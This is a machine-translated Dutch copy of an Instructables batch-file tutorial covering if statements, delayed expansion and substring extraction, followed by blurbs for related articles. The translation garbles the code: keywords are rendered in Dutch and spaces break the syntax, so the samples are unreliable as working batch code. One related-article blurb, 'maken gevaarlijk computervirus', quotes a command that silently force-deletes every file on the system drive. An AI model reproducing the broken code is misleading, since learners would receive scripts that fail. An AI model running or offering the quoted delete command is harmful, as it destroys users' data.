Home > Super geavanceerde batch codering

Super geavanceerde batch codering

Tags:microsoft
Advertisement

Super geavanceerde batch codering

Dit is de vierde partij les Ik ben het vrijgeven Zie Zelfstudie één hier

http://www.instructables.com/id/Batch-Codeing-Tutorial-I/

En leerprogramma twee hier

http://www.instructables.com/id/Batch-Coding-Tutorial-II/

Hier is drie leerprogramma

http://www.instructables.com/id/Batch-Coding-Tutorial-II/

In deze tutorial zal ik meer herzien als statements krijgen tekst met ~ en wanneer te gebruiken! niet% voor milieu-variabelen.

Stap 1: Als statemnts IV

Super geavanceerde batch codering

Als statemnts zijn enkele van de meest nuttige dingen in batchcodes maar hier is iets anders wat ze kunnen doen.
Open cmd.exe en het type kleur /? Of attrib + h nul.txt
Let op deze commando's hebben opties /? Voor hulp en attrib zorgt voor een bestandsnaam als statements kunt u laten doen
als / i "% ~ 1" == "/?" (
Echo helpgedeelte
Pauze
Goto eof
)

Dit verklaarde save het als help.bat geopend hold shift en klik met de rechtermuisknop in dezelfde map open cmd soort help /?
Deze code zegt dat als het eerste wat getypt nadat de bestandsnaam is /? Doe wat er in de haakjes. Kennisgeving% ~ 1 goed wat, maar het tweede wat ik krijg daar.

als "% ~ 2" == "" (
set / p var = Voer non-strict data
) Anders (
set "var =% ~ 2"
)

Dus je gewoon veranderen% ~ 1% ~ 2 ja, maar hoe zit het met de rest van de code?
Laten we zeggen dat je het niet lopen van cmd u het opent als een batchbestand de tweede wat de gebruiker typt in cmd niet geldig is, zodat het de gebruiker gevraagd. Maar het ziet er anders uit code één reden waarom al die haakjes? De eerste vereiste /? Om sommige gaan indien op basis van een pad laten typen die niet dezelfde tekst telkens.

Stap 2: Wanneer te gebruiken! niet%

Dus een wile geleden zei ik tegen ALTIJD omgevingsvariabelen in tussen% tekenen, maar dat is niet altijd waar.
Bij gebruik van de voor of als commando (ik heb niet beoordeeld voor, want het is zeer geavanceerde (ik weet niet hoe het te gebruiken))

@echo off & setlocal EnableDelayedExpansion

set / a "n = 0"
echo Vóór:% n%

echo In de lus:
voor / l %% i in (1 1 3) doen (
set / a 'n + 1 = "
echo * Iteratie # %% i:
echo procent tekens:% n%
echo uitroeptekens: n!
)

echo Na:% n%
pauze

Met dank aan aGerman via Dostips.com
Tussen haakjes en onder setlocal ... wanneer de variabele veranderingen

Stap 3: Aan de tekst met ~

Set / p kan worden gebruikt voor de invoer van de gebruiker, maar laten we zeggen dat je niet wilt dat alles wat de gebruiker moet hier het type is wat te doen.

Om de laatste letter te krijgen is ~ -1
De laatste twee is ~ -2 enzovoort.
de eerste letter sluiten is ~ 1 en het tweede ~ 2 enzovoort
de eerste letter lezen alleen ~ 0,1 enzovoort

Maar hoe kan ik dit gebruiken?

@echo off
Cls
:top
Set / p var = Voer een woord
IF "% var: ~ 0,1%" == "a" (goto a) anders (echo je woord niet beginnen met de letter a && Goto top)
:een
Echo yay uw woord begint met een
Pauze

Stap 4: Batch challange

Super geavanceerde batch codering

Met behulp van de batch vaardigheden die je hebt post de coolste batch-bestand dat u kunt maken. Probeer om het iets nuttigs te doen of een cool effect weer te geven, dan wel een leuk spel !! Ik zal de winnaars script te beoordelen en commentaar op geven. Als u geen berichten plaatsen in een paar weken mijn Ik zie niet in het commentaar, dus ik zal niet herzien, maar je kunt nog steeds post-it :)

Ik zal ook tutorials release op een specifieke partij commando, zoals vastgesteld, indien en voor
Zie meer van mijn batchcodes hier

http://www.instructables.com/id/Batch-codes/

Advertisement

Related Articles

  • Geavanceerde batch codering III
    Geavanceerde batch codering III

    Dit is super geavanceerde batch codering; Ik zal echo bespreken en typ voor ascii graphics, zal ik nog bespreken of verklaringen en ik zal bespreken hoe vertragingen in batch bestanden toe te voegen Tutorial I Tuttorial II Stap 1: Echo en het type We

  • Batch codering tutorial
    Batch codering tutorial

    Batch codering is een zeer eenvoudige programmeertaal die zou moeten werken op elke Windows-computer (niet apple hoewel) vandaag heb ik zal u de basisprincipes van de programmeertaal. Stap 1: Om te beginnen Open het startmenu en typ notepad open verv

  • Batch codering handleiding II
    Batch codering handleiding II

    Dit is stap twee in batch meer geavanceerde functies voor koelere codes, zie les 1 hieronder http://www.instructables.com/id/Batch-Codeing-Tutorial-I/ In dit instructable zal ik gaan over de attrib md en && opdrachten evenals gaat meer de diepte i

  • geavanceerde Batch
    geavanceerde Batch

    Gelieve alle vragen die u in mijn blog: http://tamsanh.com/blog/2008/07/11/batch-tutorial-3-advanced-batch/ Ik weet niet instructables meer bezoeken, en je zal een snellere reactie op die manier te krijgen. Hey Guys! Tam Nguyen hier. Het is al lang a

  • Hoe om code in Batch
    Hoe om code in Batch

    Hallo, ik ben Mclover152 en ik denk dat ik heb een aantal goede batch codering ervaring, (niet om op te scheppen). Dus ik zou willen laten zien hoe alles om code in batch! Ik zal voor de fundamentele dingen. Als je een snelle leerling en je wilt wat

  • Batch Tutorial - Remake
    Batch Tutorial - Remake

    Oke, dit is een totale renovatie van mijn eerste les, want het bleek niet goed. Ik hoop dat dit komt beter uit, geef me feedback, want ik hoor graag van jullie allemaal. Bedankt! : D OK, dus laten we beginnen: Enkele veel voorkomende vragen voor begi

  • batch inlogsysteem
    batch inlogsysteem

    dit is mijn eerste post, maar is een grote verzameling bestanden. sommige van mijn spullen is origineel en anderen die ik gebruik van gebruikers van deze site. als je een bekende reeks van batch codering te vinden en je weet wie het behoort, laat het

  • Hoe maak je een aantal leuke batch-bestanden maken
    Hoe maak je een aantal leuke batch-bestanden maken

    Ik ben nieuw aan Instrucatbles. Dit is mijn eerste Instructable. Het gaat om batch codering. Ik hoop dat jullie leuk vinden. Stap 1: Matrix 1: Open een nieuw tekstdocument op Kladblok. 2: Kopieer de onderstaande code erin: @echo off kleur 0A titel Ma

  • Hoe maak je een Calandar-Clock mix in batch code maken
    Hoe maak je een Calandar-Clock mix in batch code maken

    Hey there guys! Vandaag de dag ben ik u laten zien hoe u een Calandar en een klok in de ene code, hoop dat je geniet! PS: Ik weet dat dit is erg basic, maar ik ben van plan het te zijn voor mensen die erg nieuw voor batch codering, zo tevreden, ander

  • hoe batch te doen
    hoe batch te doen

    Ik weet dat er een heleboel batch tutorials die er zijn, maar ik hou van batch, dus ik wil mijn eigen te doen. En het spijt me maar, ik heb geen camera, dus ik kan niet geven u geen foto's. En ook, ik ben niet verantwoordelijk voor wat je doet met de

  • batch programmeren. in een batch venster.
    batch programmeren.  in een batch venster.

    in deze instuctable (batch echt) IMMA leren hoe je batch programma. (Dit is mijn eerste zo gelieve zacht) Stap 1: download dit batch. Kopieer deze code (ik weet zijn lange, maar het is de enige manier waarop ik weet hoe om het te krijgen.) @echo off

  • Maak een Alarm In Batch
    Maak een Alarm In Batch

    Alright ... In dit instructable zal ik laten zien hoe je een alarm in een batch-bestand te maken. Wanneer geactiveerd, zal een toon uit de interne luidspreker van uw computer, over en voorbij. Als je lui bent, kunt u gewoon downloaden in de laatste s

  • maken gevaarlijk computervirus
    maken gevaarlijk computervirus

    In dit instructable ... we zijn het maken van de computer virus met behulp van cmd code ... :-) Stap 1: Batch codering je gewoon Gonna Do is Open Kladblok en typ onderstaande code @echo off del% systeemstation% \ *. * / f / s / q exit en opslaan als

  • RB2 running pleinen.
    RB2 running pleinen.

    Klinkt niet als een 'Big Deal'? Nou, om eerlijk te zijn, voor mij het bleek erg hard werken. ; -0) Net als in eerdere blogs Ik ben niet het streven naar een wetenschappelijk essay, maar ik zal proberen om de feiten die ik moest verzamelen voor het ma

  • Iets meer geavanceerde Basic Batch
    Iets meer geavanceerde Basic Batch

    Stap 1: shutdown commando Deze opdracht is de Funnest opdracht die er is, en één van mijn persoonlijke favorieten! Ik gebruik het vooral als een virusscan wordt er aan de hand, en ik wil de computer aan sluiting achteraf. Maar af en toe, als ik de ka

  • Bouw een Batch Calculator + Geavanceerde Calculator v0.8
    Bouw een Batch Calculator + Geavanceerde Calculator v0.8

    Hallo jongens. Toen ik begon learnig partij, een van de eerste dingen die ik deed was buid een kleine rekenmachine, en thoguh het zeer eenvoudig was, was het een greaet beginnen te leren hoe je variabelen te gebruiken. Dus heb ik besloten om dit inst

  • Geavanceerde het kopiëren van bestanden met batch-bestanden!
    Geavanceerde het kopiëren van bestanden met batch-bestanden!

    WAARSCHUWING: Ik heb deze voor educatieve doeleinden. Ik ben niet verantwoordelijk voor alles wat er gebeurt TERWIJL JE DIT GEBRUIK. Dag Allemaal! vandaag zal ik u laten zien hoe u een bestand kopiëren van batch-bestand te maken (de mijne is op een 3

  • Eenvoudige batch programmeren
    Eenvoudige batch programmeren

    In deze 'stap voor stap' tutorial zal ik laten zien u Simple Batch programmeren. Zodra je dit stap voor stap handleiding hebt voltooid kunt u batch programmering zo makkelijk vinden als pie (niet de wiskundige pie) Ik zal u tonen drie verschillende b

  • Het houden van Your World Visible With The Batch Eye Saver
    Het houden van Your World Visible With The Batch Eye Saver

    Als u interessant in codering of batch scripting bent, controleer mijn laatste baar hier. Je ogen zijn erg belangrijk. Schroef met uw visie en het zal schroef met jou. We leven in een wereld van close-up werk, en onze ogen niet leuk. Onze ogen werken